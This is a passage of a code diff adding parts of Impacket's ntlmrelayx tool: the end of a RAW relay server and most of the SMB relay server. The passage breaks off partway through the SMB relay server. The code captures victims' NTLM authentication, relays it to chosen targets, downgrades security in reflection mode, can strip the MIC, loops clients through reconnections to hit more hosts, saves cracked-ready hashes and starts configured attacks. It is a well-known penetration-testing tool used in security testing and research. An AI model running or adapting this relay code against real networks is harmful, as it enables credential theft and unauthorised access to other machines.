+                clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, self.client.session,
+                                                                               self.authUser)
+                clientThread.start()
+            else:
+                LOG.error('No attack configured for %s' % self.target.scheme.upper())
+
+    def __init__(self, config):
+        Thread.__init__(self)
+        self.daemon = True
+        self.config = config
+        self.server = None
+
+    def run(self):
+
+        if self.config.listeningPort:
+            rawport = self.config.listeningPort
+        else:
+            rawport = 6666
+            
+        LOG.info("Setting up RAW Server on port " + str(rawport))            
+
+        # changed to read from the interfaceIP set in the configuration
+        self.server = self.RAWServer((self.config.interfaceIp, rawport), self.RAWHandler, self.config)
+
+        try:
+             self.server.serve_forever()
+        except KeyboardInterrupt:
+             pass
+        LOG.info('Shutting down RAW Server')
+        self.server.server_close()
\ No newline at end of file
diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py
new file mode 100644
index 0000000..411efda
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py
@@ -0,0 +1,901 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   SMB Relay Server
+#
+#   This is the SMB server which relays the connections
+#   to other protocols
+#
+# Authors:
+#   Alberto Solino (@agsolino)
+#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
+#
+from __future__ import division
+from __future__ import print_function
+from threading import Thread
+try:
+    import ConfigParser
+except ImportError:
+    import configparser as ConfigParser
+import struct
+import logging
+import time
+import calendar
+import random
+import string
+import socket
+import ntpath
+
+from binascii import hexlify, unhexlify
+from six import b
+from impacket import smb, ntlm, LOG, smb3
+from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS, STATUS_NETWORK_SESSION_EXPIRED, STATUS_BAD_NETWORK_NAME
+from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech
+from impacket.smbserver import SMBSERVER, outputToJohnFormat, writeJohnOutputToFile
+from impacket.spnego import ASN1_AID, MechTypes, ASN1_SUPPORTED_MECH
+from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections
+from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
+from impacket.smbserver import getFileTime, decodeSMBString, encodeSMBString
+from impacket.smb3structs import SMB2Error
+
+class SMBRelayServer(Thread):
+    def __init__(self,config):
+        Thread.__init__(self)
+        self.daemon = True
+        self.server = 0
+        #Config object
+        self.config = config
+        #Current target IP
+        self.target = None
+        #Targets handler
+        self.targetprocessor = self.config.target
+        #Username we auth as gets stored here later
+        self.authUser = None
+        self.proxyTranslator = None
+ 
+
+        # Here we write a mini config for the server
+        smbConfig = ConfigParser.ConfigParser()
+        smbConfig.add_section('global')
+        smbConfig.set('global','server_name','server_name')
+        smbConfig.set('global','server_os','UNIX')
+        smbConfig.set('global','server_domain','WORKGROUP')
+        smbConfig.set('global','log_file','smb.log')
+        smbConfig.set('global','credentials_file','')
+
+        if self.config.smb2support is True:
+            smbConfig.set("global", "SMB2Support", "True")
+        else:
+            smbConfig.set("global", "SMB2Support", "False")
+
+        smbConfig.set("global", "anonymous_logon", "False")
+
+        if self.config.outputFile is not None:
+            smbConfig.set('global','jtr_dump_path',self.config.outputFile)
+
+        if self.config.SMBServerChallenge is not None:
+            smbConfig.set('global', 'challenge', self.config.SMBServerChallenge)
+
+        # IPC always needed
+        smbConfig.add_section('IPC$')
+        smbConfig.set('IPC$','comment','')
+        smbConfig.set('IPC$','read only','yes')
+        smbConfig.set('IPC$','share type','3')
+        smbConfig.set('IPC$','path','')
+
+        # Change address_family to IPv6 if this is configured
+        if self.config.ipv6:
+            SMBSERVER.address_family = socket.AF_INET6
+
+        # changed to dereference configuration interfaceIp
+        if self.config.listeningPort:
+            smbport = self.config.listeningPort
+        else:
+            smbport = 445
+
+        self.server = SMBSERVER((config.interfaceIp,smbport), config_parser = smbConfig)
+        logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL)
+
+        self.server.processConfigFile()
+
+        self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)
+        self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX)
+        self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)
+
+        self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate)
+        self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup)
+        self.origsmb2TreeConnect = self.server.hookSmb2Command(smb3.SMB2_TREE_CONNECT, self.smb2TreeConnect)
+        # Let's use the SMBServer Connection dictionary to keep track of our client connections as well
+        #TODO: See if this is the best way to accomplish this
+
+        # changed to dereference configuration interfaceIp
+        self.server.addConnection('SMBRelay', config.interfaceIp, 445)
+
+    ### SMBv2 Part #################################################################
+    def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
+        connData = smbServer.getConnectionData(connId, checkStatus=False)
+
+        respPacket = smb3.SMB2Packet()
+        respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
+        respPacket['Status'] = STATUS_SUCCESS
+        respPacket['CreditRequestResponse'] = 1
+        respPacket['Command'] = smb3.SMB2_NEGOTIATE
+        respPacket['SessionID'] = 0
+
+        if self.config.disableMulti:
+            if self.config.mode.upper() == 'REFLECTION':
+                self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])
+
+            self.target = self.targetprocessor.getTarget(multiRelay=False)
+            if self.target is None:
+                LOG.info('SMBD-%s: Connection from %s controlled, but there are no more targets left!' %
+                         (connId, connData['ClientIP']))
+                return [SMB2Error()], None, STATUS_BAD_NETWORK_NAME
+
+            LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme,
+                                                                                      self.target.netloc))
+            try:
+                if self.config.mode.upper() == 'REFLECTION':
+                    # Force standard security when doing reflection
+                    LOG.debug("Downgrading to standard security")
+                    extSec = False
+                    #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
+                else:
+                    extSec = True
+                # Init the correct client for our target
+                client = self.init_client(extSec)
+            except Exception as e:
+                LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
+                self.targetprocessor.logTarget(self.target)
+            else:
+                connData['SMBClient'] = client
+                connData['EncryptionKey'] = client.getStandardSecurityChallenge()
+                smbServer.setConnectionData(connId, connData)
+
+        if isSMB1 is False:
+            respPacket['MessageID'] = recvPacket['MessageID']
+        else:
+            respPacket['MessageID'] = 0
+
+        respPacket['TreeID'] = 0
+
+        respSMBCommand = smb3.SMB2Negotiate_Response()
+        
+        # Just for the Nego Packet, then disable it
+        respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED
+
+        if isSMB1 is True:
+            # Let's first parse the packet to see if the client supports SMB2
+            SMBCommand = smb.SMBCommand(recvPacket['Data'][0])
+
+            dialects = SMBCommand['Data'].split(b'\x02')
+            if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects:
+                respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
+                #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
+            else:
+                # Client does not support SMB2 fallbacking
+                raise Exception('Client does not support SMB2, fallbacking')
+        else:
+            respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
+            #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
+
+        respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)]))
+        respSMBCommand['Capabilities'] = 0
+        respSMBCommand['MaxTransactSize'] = 65536
+        respSMBCommand['MaxReadSize'] = 65536
+        respSMBCommand['MaxWriteSize'] = 65536
+        respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
+        respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
+        respSMBCommand['SecurityBufferOffset'] = 0x80
+
+        blob = SPNEGO_NegTokenInit()
+        blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
+                             TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
+
+
+        respSMBCommand['Buffer'] = blob.getData()
+        respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])
+
+        respPacket['Data'] = respSMBCommand
+
+        smbServer.setConnectionData(connId, connData)
+
+        return None, [respPacket], STATUS_SUCCESS
+
+
+    def SmbSessionSetup(self, connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId, checkStatus = False)
+
+        #############################################################
+        # SMBRelay
+        # Are we ready to relay or should we just do local auth?
+        if not self.config.disableMulti and 'relayToHost' not in connData:
+            # Just call the original SessionSetup
+            respCommands, respPackets, errorCode = self.origSmbSessionSetup(connId, smbServer, recvPacket)
+            # We remove the Guest flag
+            if 'SessionFlags' in respCommands[0].fields:
+                respCommands[0]['SessionFlags'] = 0x00
+            return respCommands, respPackets, errorCode
+
+        # We have confirmed we want to relay to the target host.
+        respSMBCommand = smb3.SMB2SessionSetup_Response()
+        sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])
+
+        connData['Capabilities'] = sessionSetupData['Capabilities']
+
+        securityBlob = sessionSetupData['Buffer']
+
+        rawNTLM = False
+        if struct.unpack('B',securityBlob[0:1])[0] == ASN1_AID:
+           # NEGOTIATE packet
+           blob =  SPNEGO_NegTokenInit(securityBlob)
+           token = blob['MechToken']
+           if len(blob['MechTypes'][0]) > 0:
+               # Is this GSSAPI NTLM or something else we don't support?
+               mechType = blob['MechTypes'][0]
+               if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
+                               mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
+                   # Nope, do we know it?
+                   if mechType in MechTypes:
+                       mechStr = MechTypes[mechType]
+                   else:
+                       mechStr = hexlify(mechType)
+                   smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL)
+                   # We don't know the token, we answer back again saying
+                   # we just support NTLM.
+                   respToken = SPNEGO_NegTokenResp()
+                   respToken['NegState'] = b'\x03'  # request-mic
+                   respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
+                   respToken = respToken.getData()
+                   respSMBCommand['SecurityBufferOffset'] = 0x48
+                   respSMBCommand['SecurityBufferLength'] = len(respToken)
+                   respSMBCommand['Buffer'] = respToken
+
+                   return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED
+        elif struct.unpack('B',securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
+           # AUTH packet
+           blob = SPNEGO_NegTokenResp(securityBlob)
+           token = blob['ResponseToken']
+        else:
+           # No GSSAPI stuff, raw NTLMSSP
+           rawNTLM = True
+           token = securityBlob
+
+        # Here we only handle NTLMSSP, depending on what stage of the
+        # authentication we are, we act on it
+        messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
+
+        if messageType == 0x01:
+            # NEGOTIATE_MESSAGE
+            negotiateMessage = ntlm.NTLMAuthNegotiate()
+            negotiateMessage.fromString(token)
+            # Let's store it in the connection data
+            connData['NEGOTIATE_MESSAGE'] = negotiateMessage
+
+            #############################################################
+            # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
+            # Let's send it to the target server and send the answer back to the client.
+            client = connData['SMBClient']
+            try:
+                challengeMessage = self.do_ntlm_negotiate(client, token)
+            except Exception as e:
+                LOG.debug("Exception:", exc_info=True)
+                # Log this target as processed for this client
+                self.targetprocessor.logTarget(self.target)
+                # Raise exception again to pass it on to the SMB server
+                raise
+
+             #############################################################
+
+            if rawNTLM is False:
+                respToken = SPNEGO_NegTokenResp()
+                # accept-incomplete. We want more data
+                respToken['NegState'] = b'\x01'
+                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
+
+                respToken['ResponseToken'] = challengeMessage.getData()
+            else:
+                respToken = challengeMessage
+
+            # Setting the packet to STATUS_MORE_PROCESSING
+            errorCode = STATUS_MORE_PROCESSING_REQUIRED
+            # Let's set up an UID for this connection and store it
+            # in the connection's data
+            connData['Uid'] = random.randint(1,0xffffffff)
+
+            connData['CHALLENGE_MESSAGE'] = challengeMessage
+
+        elif messageType == 0x02:
+            # CHALLENGE_MESSAGE
+            raise Exception('Challenge Message raise, not implemented!')
+
+        elif messageType == 0x03:
+            # AUTHENTICATE_MESSAGE, here we deal with authentication
+            #############################################################
+            # SMBRelay: Ok, so now the have the Auth token, let's send it
+            # back to the target system and hope for the best.
+            client = connData['SMBClient']
+            authenticateMessage = ntlm.NTLMAuthChallengeResponse()
+            authenticateMessage.fromString(token)
+            self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
+                                        authenticateMessage['user_name'].decode('utf-16le'))).upper()
+
+            if rawNTLM is True:
+                respToken2 = SPNEGO_NegTokenResp()
+                respToken2['ResponseToken'] = securityBlob
+                securityBlob = respToken2.getData()
+
+            if self.config.remove_mic:
+                clientResponse, errorCode = self.do_ntlm_auth(client, token,
+                                                              connData['CHALLENGE_MESSAGE']['challenge'])
+            else:
+                clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob,
+                                                              connData['CHALLENGE_MESSAGE']['challenge'])
+
+            if errorCode != STATUS_SUCCESS:
+                #Log this target as processed for this client
+                self.targetprocessor.logTarget(self.target)
+                LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser))
+                client.killConnection()
+            else:
+                # We have a session, create a thread and do whatever we want
+                LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser))
+                # Log this target as processed for this client
+                self.targetprocessor.logTarget(self.target, True, self.authUser)
+
+                ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
+                                                    authenticateMessage['user_name'],
+                                                    authenticateMessage['domain_name'], authenticateMessage['lanman'],
+                                                    authenticateMessage['ntlm'])
+                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
+
+                if self.server.getJTRdumpPath() != '':
+                    writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
+                                          self.server.getJTRdumpPath())
+
+                connData['Authenticated'] = True
+                if not self.config.disableMulti:
+                    del(connData['relayToHost'])
+                self.do_attack(client)
+                # Now continue with the server
+            #############################################################
+
+            if rawNTLM is False:
+                respToken = SPNEGO_NegTokenResp()
+                # accept-completed
+                respToken['NegState'] = b'\x00'
+            else:
+                respToken = ''
+            # Let's store it in the connection data
+            connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
+        else:
+            raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
+
+        respSMBCommand['SecurityBufferOffset'] = 0x48
+        respSMBCommand['SecurityBufferLength'] = len(respToken)
+        if respSMBCommand['SecurityBufferLength'] > 0:
+            respSMBCommand['Buffer'] = respToken.getData()
+        else:
+            respSMBCommand['Buffer'] = ''
+
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    def smb2TreeConnect(self, connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        authenticateMessage = connData['AUTHENTICATE_MESSAGE']
+
+        self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'),
+                                    authenticateMessage['user_name'].decode ('utf-16le'))).upper ()
+
+        if self.config.disableMulti:
+            return self.origsmb2TreeConnect(connId, smbServer, recvPacket)
+        # Uncommenting this will stop at the first connection relayed and won't relaying until all targets
+        # are processed. There might be a use case for this
+        #if 'relayToHost' in connData:
+        #    # Connection already relayed, let's just answer the request (that will return object not found)
+        #    return self.origsmb2TreeConnect(connId, smbServer, recvPacket)
+
+        try:
+            if self.config.mode.upper () == 'REFLECTION':
+                self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP'])
+
+            self.target = self.targetprocessor.getTarget(identity = self.authUser)
+            if self.target is None:
+                # No more targets to process, just let the victim to fail later
+                LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' %
+                         (connId, self.authUser, connData['ClientIP']))
+                return self.origsmb2TreeConnect (connId, smbServer, recvPacket)
+
+            LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser,
+                                                        connData['ClientIP'], self.target.scheme, self.target.netloc))
+
+            if self.config.mode.upper() == 'REFLECTION':
+                # Force standard security when doing reflection
+                LOG.debug("Downgrading to standard security")
+                extSec = False
+                #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
+            else:
+                extSec = True
+            # Init the correct client for our target
+            client = self.init_client(extSec)
+        except Exception as e:
+            LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
+            self.targetprocessor.logTarget(self.target)
+        else:
+            connData['relayToHost'] = True
+            connData['Authenticated'] = False
+            del (connData['NEGOTIATE_MESSAGE'])
+            del (connData['CHALLENGE_MESSAGE'])
+            del (connData['AUTHENTICATE_MESSAGE'])
+            connData['SMBClient'] = client
+            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
+            smbServer.setConnectionData(connId, connData)
+
+        respPacket = smb3.SMB2Packet()
+        respPacket['Flags']     = smb3.SMB2_FLAGS_SERVER_TO_REDIR
+        respPacket['Status']    = STATUS_SUCCESS
+        respPacket['CreditRequestResponse'] = 1
+        respPacket['Command']   = recvPacket['Command']
+        respPacket['SessionID'] = connData['Uid']
+        respPacket['Reserved']  = recvPacket['Reserved']
+        respPacket['MessageID'] = recvPacket['MessageID']
+        respPacket['TreeID']    = recvPacket['TreeID']
+
+        respSMBCommand        = smb3.SMB2TreeConnect_Response()
+
+        # This is the key, force the client to reconnect.
+        # It will loop until all targets are processed for this user
+        errorCode = STATUS_NETWORK_SESSION_EXPIRED
+
+
+        respPacket['Status'] = errorCode
+        respSMBCommand['Capabilities'] = 0
+        respSMBCommand['MaximalAccess'] = 0x000f01ff
+
+        respPacket['Data'] = respSMBCommand
+
+        # Sign the packet if needed
+        if connData['SignatureEnabled']:
+            smbServer.signSMBv2(respPacket, connData['SigningSessionKey'])
+
+        smbServer.setConnectionData(connId, connData)
+
+        return None, [respPacket], errorCode
+
+    ################################################################################
+
+    ### SMBv1 Part #################################################################
+    def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId, checkStatus = False)
+
+        if self.config.disableMulti:
+            if self.config.mode.upper() == 'REFLECTION':
+                self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])
+
+            self.target = self.targetprocessor.getTarget(multiRelay=False)
+            if self.target is None:
+                LOG.info('SMBD-%s: Connection from %s controlled, but there are no more targets left!' %
+                         (connId, connData['ClientIP']))
+                return [smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE)], None, STATUS_BAD_NETWORK_NAME
+
+            LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'],
+                                                                                         self.target.scheme, self.target.netloc))
+
+            try:
+                if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0:
+                    extSec = False
+                else:
+                    if self.config.mode.upper() == 'REFLECTION':
+                        # Force standard security when doing reflection
+                        LOG.debug("Downgrading to standard security")
+                        extSec = False
+                        recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
+                    else:
+                        extSec = True
+
+                # Init the correct client for our target
+                client = self.init_client(extSec)
+            except Exception as e:
+                LOG.error(
+                    "Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
+                self.targetprocessor.logTarget(self.target)
+            else:
+                connData['SMBClient'] = client
+                connData['EncryptionKey'] = client.getStandardSecurityChallenge()
+                smbServer.setConnectionData(connId, connData)
+
+        else:
+            if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0:
+                if self.config.mode.upper() == 'REFLECTION':
+                    # Force standard security when doing reflection
+                    LOG.debug("Downgrading to standard security")
+                    recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
+
+        return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
+        #############################################################
+
+    def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):
+
+        connData = smbServer.getConnectionData(connId, checkStatus = False)
+
+        #############################################################
+        # SMBRelay
+        # Are we ready to relay or should we just do local auth?
+        if not self.config.disableMulti and 'relayToHost' not in connData:
+            # Just call the original SessionSetup
+            return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket)
+        # We have confirmed we want to relay to the target host.
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
+
+        if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
+            # Extended security. Here we deal with all SPNEGO stuff
+            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()
+            respData       = smb.SMBSessionSetupAndX_Extended_Response_Data()
+            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])
+            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
+            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
+            sessionSetupData.fromString(SMBCommand['Data'])
+            connData['Capabilities'] = sessionSetupParameters['Capabilities']
+
+            rawNTLM = False
+            if struct.unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID:
+               # If there no GSSAPI ID, it must be an AUTH packet
+               blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
+               token = blob['ResponseToken']
+            else:
+               # NEGOTIATE packet
+               blob =  SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
+               token = blob['MechToken']
+
+            # Here we only handle NTLMSSP, depending on what stage of the
+            # authentication we are, we act on it
+            messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
+
+            if messageType == 0x01:
+                # NEGOTIATE_MESSAGE
+                negotiateMessage = ntlm.NTLMAuthNegotiate()
+                negotiateMessage.fromString(token)
+                # Let's store it in the connection data
+                connData['NEGOTIATE_MESSAGE'] = negotiateMessage
+
+                #############################################################
+                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
+                # Let's send it to the target server and send the answer back to the client.
+                client = connData['SMBClient']
+                try:
+                    challengeMessage = self.do_ntlm_negotiate(client,token)
+                except Exception:
+                    # Log this target as processed for this client
+                    self.targetprocessor.logTarget(self.target)
+                    # Raise exception again to pass it on to the SMB server
+                    raise
+
+                #############################################################
+
+                respToken = SPNEGO_NegTokenResp()
+                # accept-incomplete. We want more data
+                respToken['NegState'] = b'\x01'
+                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
+                respToken['ResponseToken'] = challengeMessage.getData()
+
+                # Setting the packet to STATUS_MORE_PROCESSING
+                errorCode = STATUS_MORE_PROCESSING_REQUIRED
+
+                # Let's set up an UID for this connection and store it
+                # in the connection's data
+                # Picking a fixed value
+                # TODO: Manage more UIDs for the same session
+                connData['Uid'] = 10
+
+                connData['CHALLENGE_MESSAGE'] = challengeMessage
+
+            elif messageType == 0x03:
+                # AUTHENTICATE_MESSAGE, here we deal with authentication
+                #############################################################
+                # SMBRelay: Ok, so now the have the Auth token, let's send it
+                # back to the target system and hope for the best.
+                client = connData['SMBClient']
+                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
+                authenticateMessage.fromString(token)
+                self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
+                                            authenticateMessage['user_name'].decode('utf-16le'))).upper()
+
+                clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'],
+                                                              connData['CHALLENGE_MESSAGE']['challenge'])
+
+                if errorCode != STATUS_SUCCESS:
+                    # Let's return what the target returned, hope the client connects back again
+                    packet = smb.NewSMBPacket()
+                    packet['Flags1']  = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
+                    packet['Flags2']  = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
+                    packet['Command'] = recvPacket['Command']
+                    packet['Pid']     = recvPacket['Pid']
+                    packet['Tid']     = recvPacket['Tid']
+                    packet['Mid']     = recvPacket['Mid']
+                    packet['Uid']     = recvPacket['Uid']
+                    packet['Data']    = b'\x00\x00\x00'
+                    packet['ErrorCode']   = errorCode >> 16
+                    packet['ErrorClass']  = errorCode & 0xff
+
+                    LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser))
+
+                    #Log this target as processed for this client
+                    self.targetprocessor.logTarget(self.target)
+
+                    client.killConnection()
+
+                    return None, [packet], errorCode
+                else:
+                    # We have a session, create a thread and do whatever we want
+                    LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser))
+
+                    # Log this target as processed for this client
+                    self.targetprocessor.logTarget(self.target, True, self.authUser)
+
+                    ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
+                                                        authenticateMessage['user_name'],
+                                                        authenticateMessage['domain_name'],
+                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])
+                    client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
+
+                    if self.server.getJTRdumpPath() != '':
+                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
+                                              self.server.getJTRdumpPath())
+
+                    self.do_attack(client)
+                    # Now continue with the server
+                #############################################################
+
+                respToken = SPNEGO_NegTokenResp()
+                # accept-completed
+                respToken['NegState'] = b'\x00'
+
+                # Done with the relay for now.
+                connData['Authenticated'] = True
+                del(connData['relayToHost'])
+
+                # Status SUCCESS
+                errorCode = STATUS_SUCCESS
+                # Let's store it in the connection data
+                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
+            else:
+                raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
+
+            respParameters['SecurityBlobLength'] = len(respToken)
+
+            respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
+            respData['SecurityBlob']       = respToken.getData()
+
+        else:
+            # Process Standard Security
+            #TODO: Fix this for other protocols than SMB [!]
+            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
+            respData       = smb.SMBSessionSetupAndXResponse_Data()
+            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])
+            sessionSetupData = smb.SMBSessionSetupAndX_Data()
+            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
+            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
+            sessionSetupData.fromString(SMBCommand['Data'])
+
+            client = connData['SMBClient']
+            _, errorCode = client.sendStandardSecurityAuth(sessionSetupData)
+
+            if errorCode != STATUS_SUCCESS:
+                # Let's return what the target returned, hope the client connects back again
+                packet = smb.NewSMBPacket()
+                packet['Flags1']  = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
+                packet['Flags2']  = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
+                packet['Command'] = recvPacket['Command']
+                packet['Pid']     = recvPacket['Pid']
+                packet['Tid']     = recvPacket['Tid']
+                packet['Mid']     = recvPacket['Mid']
+                packet['Uid']     = recvPacket['Uid']
+                packet['Data']    = b'\x00\x00\x00'
+                packet['ErrorCode']   = errorCode >> 16
+                packet['ErrorClass']  = errorCode & 0xff
+
+                #Log this target as processed for this client
+                self.targetprocessor.logTarget(self.target)
+
+                # Finish client's connection
+                #client.killConnection()
+
+                return None, [packet], errorCode
+            else:
+                # We have a session, create a thread and do whatever we want
+                self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper()
+                LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser))
+
+                # Log this target as processed for this client
+                self.targetprocessor.logTarget(self.target, True, self.authUser)
+
+                ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'],
+                                                    sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])
+                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
+
+                if self.server.getJTRdumpPath() != '':
+                    writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
+                                          self.server.getJTRdumpPath())
+
+                # Done with the relay for now.
+                connData['Authenticated'] = True
+                if not self.config.disableMulti:
+                    del(connData['relayToHost'])
+                self.do_attack(client)
+                # Now continue with the server
+            #############################################################
+
+        respData['NativeOS']     = smbServer.getServerOS()
+        respData['NativeLanMan'] = smbServer.getServerOS()
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data']       = respData
+
+
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
